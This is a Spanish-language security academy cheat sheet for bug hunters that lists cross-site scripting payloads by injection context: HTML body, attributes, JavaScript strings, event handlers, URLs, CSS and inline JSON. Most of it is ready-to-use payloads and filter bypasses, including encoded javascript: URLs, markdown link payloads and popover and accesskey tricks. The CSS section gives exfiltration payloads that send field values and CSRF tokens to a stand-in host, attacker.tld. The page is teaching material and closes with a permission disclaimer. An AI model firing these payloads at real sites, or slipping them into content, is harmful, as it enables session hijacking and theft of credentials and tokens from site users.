← Volver al buscador
Seguridad web Intermedio

XSS contexts — payloads por contexto (HTML, atributo, JS, URL, CSS)

Cómo identificar el contexto exacto donde se inyecta tu input y los payloads que escapan cada uno: HTML body, atributo HTML, JS string, JS event, URL, CSS, JSON.

Respuesta rápida

Un payload XSS solo funciona si escapa el contexto donde aterriza tu input. Inyectar <script> dentro de un atributo value="" no ejecuta — necesitas cerrar la comilla primero. La metodología que escala: inyecta un marker único (zzaazz), localiza el marker en el DOM, identifica el contexto exacto (HTML body / atributo / JS string / JS event / URL / CSS / JSON) y aplica el payload mínimo que escape ese contexto. Sin teoría — solo seven contextos, siete payloads.


Los 7 contextos donde aterriza tu input

#ContextoCómo aparece tu inputEscape mínimo
1HTML body<div>INPUT</div><svg onload=alert(1)>
2Atributo HTML<input value="INPUT">"><svg onload=alert(1)>
3JS stringvar x = "INPUT";";alert(1);//
4JS event handleronclick="foo('INPUT')"');alert(1);//
5URL (href/src)<a href="INPUT">javascript:alert(1)
6CSS<style>color:INPUT</style>red;}*{background:url(//evil)}
7JSON embed<script>var d={"x":"INPUT"}</script>"};alert(1);//

Inyecta zzaazz<>"' y busca en la respuesta cómo aparece — eso determina el contexto.


Contexto 1 — HTML body

Tu input cae entre tags. Cualquier tag con event handler funciona; <script> solo si la página no es parseada como <noscript>/textarea.

<svg onload=alert(1)>
<img src=x onerror=alert(1)>
<details open ontoggle=alert(1)>
<video><source onerror=alert(1)>
<input autofocus onfocus=alert(1)>

Si solo se filtran < y > pero no entidades — codifica con entidades HTML:

&lt;img src=x onerror=alert(1)&gt;     ← NO ejecuta (parseado como texto)
<img src=x onerror=&#97;lert(1)>        ← SÍ ejecuta (entidad dentro de atributo)

[!tip] Test rápido del contexto HTML Inyecta <u>x y mira si aparece subrayado en el render — confirma que parseaste como HTML.


Contexto 2 — Atributo HTML

Tu input cae dentro de un atributo. Dos sub-casos: con comillas o sin comillas.

Con comillas

<input value="INPUT">       → cierra comilla + tag
                              "><svg onload=alert(1)>
                              "><img src onerror=alert(1)>

Sin comillas (más raro pero más permisivo)

<input value=INPUT>          → espacio basta para nuevo atributo
                              x onfocus=alert(1) autofocus

Cuando > está filtrado pero el atributo es un event handler

Si tu input cae directamente en onclick="...", no necesitas escapar el tag:

<button onclick="doStuff('INPUT')">    →  ');alert(1);//

accesskey trick para input hidden / meta

/?lol=h0tak88r' accesskey='x' onclick='alert(0)'

La víctima debe pulsar ALT+SHIFT+X (Chrome/Edge). Útil cuando solo controlas un <input type=hidden> o <meta>.

Popover API (Chrome 2023+) — bypass de filtros que no conocen onbeforetoggle

<input type="hidden" value="x" popover id="newsletter" onbeforetoggle=alert(1)>
<meta name="x" content="y" popover id="newsletter" onbeforetoggle=alert(1)>

Requisito: la página ya tiene un <button popovertarget="newsletter">. Si tu inyección aparece antes en el DOM, el browser dispara onbeforetoggle en tu elemento.


Contexto 3 — JS string

Tu input cae dentro de comillas en un bloque <script>. Cierra la comilla y mete tu código.

<script>
var nombre = "INPUT";        → ";alert(1);//
                              ";alert(document.domain);//
var nombre = 'INPUT';        → ';alert(1);//
</script>

Cuando solo escapan " con \ pero no \ mismo

INPUT = \";alert(1);//

Si la app convierte " en \", tu \ queda como \\ y el " siguiente cierra la string:

\\\";alert(1);//

Backticks (template literals)

var html = `<div>INPUT</div>`;    → ${alert(1)}
                                     `;alert(1);//

Contexto 4 — JS event handler

Tu input cae dentro de un atributo event handler. Esto es HTML + JS combinados — tienes dos capas para escapar.

<a onclick="goTo('INPUT')">     → ');alert(1);//
<button onclick="alert('INPUT')">  → ');alert(1);//

Si las comillas se escapan a &apos; o &#39;, el parser HTML las decodifica antes de pasarlas a JS — la comilla decodificada cierra el string igual.

<a onclick="goTo('INPUT')">     → &#39;);alert(1);//

[!warning] Doble decodificación Los event handlers pasan por HTML decoder primero, luego JS parser. &#x27;);alert(1);// se decodifica a ');alert(1);// antes de ejecutar — sirve para bypass de filtros que solo buscan caracteres literales.


Contexto 5 — URL (href, src, action)

Tu input cae como una URL. El payload clásico:

javascript:alert(1)
javascript:alert(document.domain)
data:text/html,<script>alert(1)</script>

Bypass de filtros que bloquean javascript:

JaVaScRiPt:alert(1)                  ← case
java\tscript:alert(1)                ← tab (\t)
java&#09;script:alert(1)             ← tab entity
java&Tab;script:alert(1)             ← named entity
java%09script:alert(1)               ← URL-encoded
\j\a\v\a\s\c\r\i\p\t:alert(1)        ← backslash escapes (algunos parsers)
[click](javascript:alert(1))
[click](j a v a s c r i p t:alert(1))
[click](javascript:window.onerror=alert;throw%201)

Útil en apps que renderizan markdown sin sanitizar URLs (issue trackers, READMEs, comentarios).

[!info] Frameworks modernos cubren esto parcialmente React v19 bloquea javascript: en href y <object> automáticamente. Pero window.open(userInput) y location.href = userInput no están cubiertos — siguen siendo XSS frecuentes en redirects post-login.


Contexto 6 — CSS

Tu input cae dentro de un bloque <style> o atributo style. CSS no ejecuta JS directamente (desde IE eliminó expression()) pero permite exfiltración de datos:

<style>
.user-INPUT { background: red; }
→ x;}*{background:url("//attacker.tld/?c="attr(value));}
</style>

Exfil via attribute selector

input[value^="a"] { background: url(//attacker.tld/a); }
input[value^="b"] { background: url(//attacker.tld/b); }
/* ... */

Cada letra del valor de un campo se exfiltra a tu collaborator. Útil contra CSRF tokens o passwords pre-rellenados.

Import de stylesheet externa

@import url("//attacker.tld/exfil.css");

Contexto 7 — JSON embed

App genera JSON inline dentro de un <script>:

<script>
var data = {"username":"INPUT"};
</script>
                                  → "};alert(1);//
                                  → </script><script>alert(1)</script>

Cuando < está escapado pero / no

</script> puede romperse aunque <script> esté filtrado: el HTML parser termina el bloque <script> cuando ve </script> literalmente — tu JSON ya está cerrado.

"INPUT": "</script><img src=x onerror=alert(1)>"

Identificación rápida con marker

Inyecta un marker y observa cómo aparece. Una sola request te da el contexto:

INPUT = zzaa<u>"'</u>zz</textarea>'/zz

Busca zzaa en la respuesta:

ApareceContexto
<u> renderizaHTML body
&lt;u&gt; (escaped) y dentro de <input value="...">Atributo HTML
Dentro de <script>...zzaa..."...zz</script>JS string
Dentro de onclick="...zzaa..."JS event
Dentro de <a href="...zzaa...">URL
Dentro de <style>...zzaa...</style>CSS
Dentro de <script>var x = {...zzaa...}</script>JSON embed

Hunting checklist

  • Inyecta marker único (zzaazz<>"') y localiza en respuesta.
  • Identifica contexto exacto antes de tirar payloads agresivos.
  • Atributos: prueba con y sin cierre de comilla. Sin comilla solo requiere espacio.
  • JS string: prueba ", ', backtick, </script>.
  • URL sinks: siempre prueba javascript: + variantes case/tab/entity.
  • Markdown: prueba [x](javascript:alert(1)) en cualquier campo que renderice markdown.
  • Atributos hidden/meta: prueba accesskey + popover onbeforetoggle.
  • CSS: si solo controlas styles, exfil con attribute selector + collaborator.
  • JSON embed: prueba romper con </script> aunque parezca escapado.
  • Documenta el payload mínimo — escala bounty cuando es one-shot.

Labs relacionados

Practica detección de contexto en 8 apps reales con sinks diferentes en labs de XSS.

Practica esto en un lab

Xss Context Finder

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta
Premium · 1 técnica más

Hay un payload extra al final

El cheatsheet completo de 47 payloads por contexto + el script que detecta tu contexto automáticamente.

Desbloquear

7,99 €/mes · cancela cuando quieras

Artículos relacionados

Gratis€1.200

Stored XSS en nombres de plantilla — del campo más aburrido al domain takeover

Un campo de título en una plantilla, sin sanitizar, en una sesión con permisos sobre dominios. Bounty real de €1.200. Cómo encontrar XSS donde nadie mira.

12 minxssstored-xssaccess-delegation
Leer artículo
Gratis

SQL Injection — metodología completa con time-based, UNION y RCE

Detección por isomorphic queries, payloads time-based para 4 motores, escalación a RCE (xp_cmdshell, INTO OUTFILE, UDFs) y bypasses cross-field.

14 minsqliinjectionrce
Leer artículo
Gratis

DOM XSS — gadgets, postMessage handlers y CVE-2025-59840

DOM XSS no es solo innerHTML. Sources/sinks, gadget chains via toString(), postMessage handlers sin origin check, hash-based routing rotos.

13 mindom-xssxsspostmessage
Leer artículo
Nivel intermedioToda la Academy

Contenido educativo de Kerb3r0ps. Úsalo solo sobre sistemas para los que tengas permiso. Volver al buscador.